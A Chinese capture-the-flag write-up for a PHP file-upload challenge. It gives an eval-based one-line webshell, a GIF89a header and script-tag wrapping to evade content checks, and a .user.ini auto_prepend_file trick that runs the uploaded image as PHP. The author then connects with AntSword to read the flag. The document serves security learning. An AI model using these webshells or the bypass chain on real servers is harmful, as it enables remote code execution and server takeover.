1.进入页面发现是文件上传题(CTRL+U后发现源代码无提示)--->上传包含一句话木马的.php文件(之后抓包修改filename和content-type还是不行)和.htaccess文件发现存在过滤
(1)1.php文件:illegal suffix!
一句话木马:<?php @eval($_POST['a']) ?>
(2)抓包修改的记录:illegal suffix!
.htaccess:exif_imagetype文件:not image!
exif_imagetype()函数用于判断图像的类型,会读取文件的第一个字节并检测前面
tips:可以给文件内容第一行加上GIF89a绕过(这是GIF文件的文件头的Ascii码)
如果没有使用<script>
绕过检测会报错 "<? in content" (过滤了 <?)
2.在使用<script></script>
包裹一句话木马后在上一行加上"GIF89a",最后抓包修改filename和content-type绕过检测(上传成功)
修改后的一句话木马:
GIF89a
<script language='php'>eval($_REQUEST['a']);</script>
因为上传的文件还是图片所以要想办法转化成php代码运行,但是".htaccess"又被限制不能使用,只能使用.user.ini配置文件
绕过了
3.上传".user.ini"文件将之前上传的2.gif文件作为php代码运行(上传成功)
4.将回显拼接成URL地址后登录蚁剑--->在服务器的根目录找到flag
index.php在upload和文件后面
所以url:
` ``
"网页地址(去掉index.php)"+/uploads/"回显的路径"+/index.php
http://ffa5fa0f-f5dc-49ac-95df-ad5fb308da2f.node5.buuoj.cn:81/uploads/ec53bc853c0c94f2bf546edd1a265425/index.php//例如
FLAG:flag{d9154f71-fa3e-463c-9546-8b516b44324b}
知识点: .user.ini 配置文件
.user.ini是php的默认配置文件常用命令:auto_prepend_file:指定在每个PHP脚本之前自动加载的文件。该文件的内容将被插入到原始脚本的顶部。例如,auto_prepend_file = "/path/to/prepend.php"。auto_append_file:指定在每个PHP脚本之后自动加载的文件。该文件的内容将被插入到原始脚本的末尾。例如,auto_append_file = "/path/to/append.php"。特点是上传时需要目录下存在.php文件